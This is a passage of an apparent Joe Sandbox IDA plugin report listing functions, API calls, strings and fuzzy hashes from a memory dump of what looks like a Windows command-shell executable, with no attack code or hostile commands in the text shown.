Similarity

API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
API String ID: 3305344409-4288247545
Opcode ID: 534ec16e987550a66f3e1d5b34a1157b4fd9a17b2c719d80120aaa9796f83e6c
Instruction ID: 2a325b6e42977db82d17c7e33bbb92505f88fdceb79ed2a7735b50eae2416c7d
Opcode Fuzzy Hash: 534ec16e987550a66f3e1d5b34a1157b4fd9a17b2c719d80120aaa9796f83e6c
Instruction Fuzzy Hash: E342A321A08F8A85EF14AB2198502B9E6B1AF4D7B4FC44336D99E477D4DF3CE54D8328

Function 00007FF718D54224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328threadprocessstringCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D54297
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D542D7
memset.MSVCRT ref: 00007FF718D542FD
memset.MSVCRT ref: 00007FF718D54368
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D54380

Part of subcall function 00007FF718D53A90: wcsrchr.MSVCRT ref: 00007FF718D53ADF
Part of subcall function 00007FF718D53A90: _wcsnicmp.MSVCRT ref: 00007FF718D53B38

wcsrchr.MSVCRT ref: 00007FF718D543E6
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0 ref: 00007FF718D54401
CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D5447F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D544AA
CreateProcessAsUserW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D545EE
_local_unwind.MSVCRT ref: 00007FF718D54644
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D547E1
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D54802
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5ECD4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5ECF0
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D5ED12

Strings

h, xrefs: 00007FF718D5436D
=ExitCode, xrefs: 00007FF718D5454C
%08X, xrefs: 00007FF718D5452C
%01C, xrefs: 00007FF718D547B1
\XCOPY.EXE, xrefs: 00007FF718D543F7
=ExitCodeAscii, xrefs: 00007FF718D5456B
COPYCMD, xrefs: 00007FF718D5439C, 00007FF718D544B9

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
API String ID: 388421343-2905461000
Opcode ID: 91aa278bae488f07ca69690407c5ac2f944185e63ade342298008147df7553ae
Instruction ID: 1755befc11888d1a2097a4baa6f9971d9b44f90365d9e2ee096b4d1a8344dc99
Opcode Fuzzy Hash: 91aa278bae488f07ca69690407c5ac2f944185e63ade342298008147df7553ae
Instruction Fuzzy Hash: 70F14A71A08F8A85EB60AB11E4817B9F7B1FB8D7A0F804236D98D42654DF3CE44CCB65

Function 00007FF718D518D4 Relevance: 42.6, APIs: 23, Strings: 1, Instructions: 644COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF718D51949
towlower.MSVCRT ref: 00007FF718D519F6
wcsrchr.MSVCRT ref: 00007FF718D51A0C
wcsrchr.MSVCRT ref: 00007FF718D51A3F
wcsrchr.MSVCRT ref: 00007FF718D51A5A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D51ADD

Strings

fdpnxsatz, xrefs: 00007FF718D51A05

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcsrchr$towlower
String ID: fdpnxsatz
API String ID: 3267374428-1106894203
Opcode ID: ad1bcbbe82a7f5b39676b917d6e1cd648cfaa51af7a6c8b46bc02b7c8c250201
Instruction ID: b6a0450a779705f52d59f9817774184168a6dad78245a5fd7da4652d79360cdb
Opcode Fuzzy Hash: ad1bcbbe82a7f5b39676b917d6e1cd648cfaa51af7a6c8b46bc02b7c8c250201
Instruction Fuzzy Hash: 2C42C421B08F8A85EF64AF2595102B9E6B1FF49BA4F944236DE8E47784DF3CE44D8314

Function 00007FF718D47650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D476E5

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_get_osfhandle.MSVCRT ref: 00007FF718D47745
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47759
_get_osfhandle.MSVCRT ref: 00007FF718D4776C
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47783
_get_osfhandle.MSVCRT ref: 00007FF718D477A3
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D477C9
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D47808
wcsrchr.MSVCRT ref: 00007FF718D649BE
_wcsnicmp.MSVCRT ref: 00007FF718D64A02
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D64A81

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

Strings

DPATH, xrefs: 00007FF718D6499A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
String ID: DPATH
API String ID: 95024817-2010427443
Opcode ID: 453260b4bb9689c464f7ee8a055c2a7ad3bf1f5e95a95e4c5e119382bbbdb6fa
Instruction ID: d80d5a8d6824c30011bb5958682cb3915ea634037319e34e1d7305702a6e703c
Opcode Fuzzy Hash: 453260b4bb9689c464f7ee8a055c2a7ad3bf1f5e95a95e4c5e119382bbbdb6fa
Instruction Fuzzy Hash: 6512B332A08F8A86E764AF15A4401B9F6A2FB8D764FD45135EA8E53794DF3CE40C8B14

Function 00007FF718D45240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON

Download Yara Rule

Strings

[..], xrefs: 00007FF718D62FB5
[...], xrefs: 00007FF718D63013
[.], xrefs: 00007FF718D63128
..., xrefs: 00007FF718D62C8C
:, xrefs: 00007FF718D63261

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
Opcode ID: 251dffbd20cb83d3debd935fcd4546828530d34106f281e7cd8b68f040cf8ba4
Instruction ID: 9a2100d364ce319e372c5f09ac6017220eb1755459264f1c6f2614c78e84c108
Opcode Fuzzy Hash: 251dffbd20cb83d3debd935fcd4546828530d34106f281e7cd8b68f040cf8ba4
Instruction Fuzzy Hash: 11329F72A08F8A86EB24EF21D4402F9E3A0EB497A8FD54135DA8D47A95DF3CD50DC724

Function 00007FF718D6EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 00007FF718D6EF33
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EF98
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFA9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFBF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D6EFDC
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFED
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F003
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F022
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F083
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F092
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F0A5
towupper.MSVCRT(?,?,?,?,?,?), ref: 00007FF718D6F0DB
wcschr.MSVCRT(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F135
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F16C
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F185

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

Strings

CMD.EXE, xrefs: 00007FF718D6F19D
<noalias>, xrefs: 00007FF718D6F03C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 1161012917-1690691951
Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction ID: da441310c98a3805eb8cccd45e034b48561ae853b1bb52edc4942ed6a163c0ce
Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction Fuzzy Hash: 87917021B09F5A8AFB04AB60E4411BDFAB0AF4DB78FD84135DD8E42695DF3CA44D8324

Function 00007FF718D46EE4 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 342timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D46F34
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D46F49
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D46F5F
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D46F74
realloc.MSVCRT ref: 00007FF718D64327

Part of subcall function 00007FF718D55508: GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D46FA8
memmove.MSVCRT ref: 00007FF718D4702F
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF718D47064

Strings

%02d%s%02d%s%02d, xrefs: 00007FF718D64355
%s %s , xrefs: 00007FF718D64400
%s , xrefs: 00007FF718D643ED

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Time$File$System$DateDefaultFormatInfoLocalLocaleUsermemmoverealloc
String ID: %02d%s%02d%s%02d$%s $%s %s
API String ID: 1795611712-4023967598
Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction ID: dc5853c369473a6ca7146477d47e6b641267fcdc98bdec7d86edeacd82947d90
Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction Fuzzy Hash: 44E1B021A08F4E86FB10AF64A8411B9E6B2FF4D7A4FD44132D98E47695DF3CE50C8368

Function 00007FF718D432B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

_get_osfhandle.MSVCRT ref: 00007FF718D432F3
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF718D432A4), ref: 00007FF718D43309
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D43384
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D611DF

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
String ID:
API String ID: 611521582-0
Opcode ID: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction ID: 92d55ec69ea7531689af60269d462ce89c25f578714490eb5cdd73d8fd24372a
Opcode Fuzzy Hash: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction Fuzzy Hash: D4A1C232F08F5A86FB18AB65A4052BDE6A1FB4DB69FC44139CD8E46B40DF3C944D8724

Function 00007FF718D41560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D415BD

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D41620
FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D41638
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D416C0

Part of subcall function 00007FF718D41560: FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D417F0
Part of subcall function 00007FF718D41560: FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D4180C
Part of subcall function 00007FF718D41560: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4183E

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5AC35
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5AC68

Strings

\\?\, xrefs: 00007FF718D5AC99

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
String ID: \\?\
API String ID: 628682198-4282027825
Opcode ID: ab4f5c44bb3b2f47c3e9ebd780c12a08782b375ce868dac15c085b2dd5d8372f
Instruction ID: 9d4a8968559c1dc6bc7335e06564c5eaa3cb9701485c5ccd492a6a85f30ae9d8
Opcode Fuzzy Hash: ab4f5c44bb3b2f47c3e9ebd780c12a08782b375ce868dac15c085b2dd5d8372f
Instruction Fuzzy Hash: 48E18131B08F8A96EF64AB24D8502F9E3A0FB49769F844135D98E46B94EF3CD54DC314

Function 00007FF718D6AFBC Relevance: 26.0, APIs: 17, Instructions: 537COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,?,?,?,00007FF718D6182A), ref: 00007FF718D6AFD8
_setjmp.MSVCRT ref: 00007FF718D6B032

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

memset.MSVCRT ref: 00007FF718D6B126
memset.MSVCRT ref: 00007FF718D6B14C
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6B266
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6B281

Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B717
Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B736
Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B755

Part of subcall function 00007FF718D53A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D6EAC5,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D53A56

Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B7D2
Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B7F1
Part of subcall function 00007FF718D6AFBC: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6B810

wcschr.MSVCRT ref: 00007FF718D6B2AA
memset.MSVCRT ref: 00007FF718D6B2E0

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

wcsrchr.MSVCRT ref: 00007FF718D6B4BC
MoveFileWithProgressW.API-MS-WIN-CORE-FILE-L2-1-0 ref: 00007FF718D6B692
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6B6A2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$memset$ErrorFileHeapLast$AllocAttributesCloseFindMoveProcessProgressWith_setjmpiswspacelongjmpwcsrchr
String ID:
API String ID: 16309207-0
Opcode ID: 86690df5a35c47ea2bcce9b612d36fe3f63b0820289f587d8a51e9e8d197d79b
Instruction ID: 946f1d6c2d7ea75e1f7370d79fddeeec85d6413ea9b7ef59860fd01069fb95ea
Opcode Fuzzy Hash: 86690df5a35c47ea2bcce9b612d36fe3f63b0820289f587d8a51e9e8d197d79b
Instruction Fuzzy Hash: F122A262B04F8A86EB64AF21D8542F9E3A0FF497A4F904135DA8E47B95DF3CE14D8314

Function 00007FF718D43410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D43477
wcschr.MSVCRT ref: 00007FF718D434A0
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D434DF
_ultoa.MSVCRT ref: 00007FF718D612DA
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D612E6
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D6131E

Strings

, xrefs: 00007FF718D612FB
Application, xrefs: 00007FF718D61341
System, xrefs: 00007FF718D6133A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: $Application$System
API String ID: 3538039442-1881496484
Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction ID: 87565d6b8cd536369c5b998379bd4495aed219d2e46719057164ca04c9358508
Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction Fuzzy Hash: 0E519F32A08F4986EB249B15B4016BAFAA1FB8DB68F848134DA8E43B54DF3CD44DC714

Function 00007FF718D6D9D0 Relevance: 23.3, APIs: 10, Strings: 3, Instructions: 576fileCOMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,?,00000000,00007FF718D6048E), ref: 00007FF718D6DA58
memset.MSVCRT ref: 00007FF718D6DAD6
memset.MSVCRT ref: 00007FF718D6DAFC
memset.MSVCRT ref: 00007FF718D6DB22

